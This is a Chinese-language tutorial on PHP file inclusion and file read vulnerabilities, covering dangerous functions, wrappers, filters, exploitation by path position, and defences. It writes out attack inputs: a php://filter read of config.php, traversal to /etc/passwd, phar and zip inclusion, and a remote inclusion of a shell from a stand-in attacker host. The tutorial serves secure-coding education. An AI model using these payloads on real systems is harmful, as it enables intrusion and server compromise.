目录
- 一、PHP文件操作高危函数
- 1. 基础文件读取函数
- 2. 文件包含函数
- 3. 命令执行函数
- 二、PHP特色机制：Wrapper与Filter
- 1. Wrapper机制
- 2. Filter机制
- 三、文件包含漏洞利用技术
- 1. 基本利用场景
- 2. 使用Filter绕过限制
- 3. 不同可控位置的利用技术
- ① 路径前面可控，后面不可控
- ② 路径后面可控，前面不可控
- ③ 路径中间可控
- 四、高级利用技术
- 1. 使用phar协议执行代码
- 2. 利用压缩流绕过限制
- 3. 远程文件包含(RFI)
- 五、防御措施
- 结语
一、PHP文件操作高危函数
PHP提供了多种文件读取函数，这些函数若使用不当极易成为安全漏洞的源头：
1. 基础文件读取函数
- file_get_contents()：一次性读取整个文件内容到字符串
- file()：将整个文件读入数组，每行作为数组的一个元素
- fopen()系列：包括fopen()、fread()、fgets()等，提供更灵活的文件操作方式
2. 文件包含函数
- include()/require()：包含并运行指定文件
- include_once()/require_once()：功能相同但会检查是否已包含过
3. 命令执行函数
- system()/exec()：通过执行系统命令间接读取文件
这些函数若接收用户可控的输入作为参数，且未进行严格的过滤和验证，就会成为文件读取漏洞的入口点。
二、PHP特色机制：Wrapper与Filter
PHP的文件操作机制与其他语言不同，提供了独特的Wrapper和Filter功能，这些特性在带来便利的同时也增加了安全风险。
1. Wrapper机制
PHP不直接使用文件路径，而是通过协议形式访问文件资源，称为Wrapper。常见内置Wrapper包括：
- file://：访问本地文件系统（默认）
- http://：访问HTTP(s) URL
- ftp://：访问FTP(s) URL
- php://：访问各种I/O流
- data://：数据(RFC 2397)
- zip://：压缩流
- phar://：PHP归档
- glob://：查找匹配的文件路径模式
更危险的是，PHP还允许开发者通过stream_wrapper_register()注册自定义Wrapper，这进一步扩大了攻击面。
2. Filter机制
Filter可以对Wrapper处理的数据流进行转换处理，常见Filter类型包括：
- String Filters：如string.rot13、string.toupper等
- Conversion Filters：如convert.base64-encode、convert.base64-decode
- Compression Filters：如zlib.deflate、bzip2.compress
- Encryption Filters：如mcrypt.、mdecrypt.
Filter在文件读取漏洞利用中扮演重要角色，特别是当需要绕过安全限制时。
三、文件包含漏洞利用技术
文件包含漏洞是文件读取漏洞中最危险的一类，特别是当allow_url_include选项开启时，可能导致远程代码执行。
1. 基本利用场景
当服务端代码使用include等函数且参数可控时：
include($_GET['file']);
攻击者可以直接包含恶意文件，如果文件包含PHP代码，这些代码会被执行。
2. 使用Filter绕过限制
通过Filter可以避免PHP代码被执行而直接读取源代码：
php://filter/read=convert.base64-encode/resource=config.php
这样读取的文件内容会被Base64编码，可以避免PHP解析器执行其中的代码。
3. 不同可控位置的利用技术
根据文件路径可控部分的不同，利用技术也有所差异：
① 路径前面可控，后面不可控
示例代码：
include($user_input . '/fixed_path.php');
利用技术：
- 在低版本PHP中可使用空字节截断（%00）
- 使用zip或phar协议包含恶意文件
- 尝试目录穿越（../../../）
② 路径后面可控，前面不可控
示例代码：
include('/fixed/path/' . $user_input);
利用技术：
- 使用目录穿越读取系统文件（../../../etc/passwd）
- 但通常无法使用Wrapper进行文件包含
③ 路径中间可控
示例代码：
include('/fixed/prefix_' . $user_input . '_suffix.php');
利用技术：
- 类似于第一种情况，但Wrapper使用受限
- 可能需要结合其他技巧如路径截断
四、高级利用技术
1. 使用phar协议执行代码
当服务端有文件上传功能时，可以上传恶意phar文件，然后通过phar协议包含执行：
include('phar:///path/to/uploaded/file.phar');
2. 利用压缩流绕过限制
zip协议可以用于读取压缩包内的文件：
zip:///path/to/file.zip%23file.txt
3. 远程文件包含(RFI)
当allow_url_include开启时，可以直接包含远程恶意代码：
include('http://attack*e*r*.com/shell.txt');
五、防御措施
- 禁用危险函数：在php.ini中禁用不必要的危险函数
- 关闭危险选项：设置allow_url_include=Off和allow_url_fopen=Off
- 严格过滤输入：对文件路径参数进行白名单验证
- 使用绝对路径：避免目录穿越攻击
- 更新PHP版本：新版本修复了许多已知的文件包含漏洞
- 实施权限控制：确保Web服务器用户只有必要的最小权限
结语
PHP文件读取漏洞危害严重，从简单的信息泄露到完全的服务器沦陷都有可能。了解这些漏洞的触发点和利用技术，有助于开发者编写更安全的代码，也有助于安全人员更好地评估系统风险。在开发过程中，应当始终遵循最小权限原则和安全编码规范，避免给攻击者可乘之机。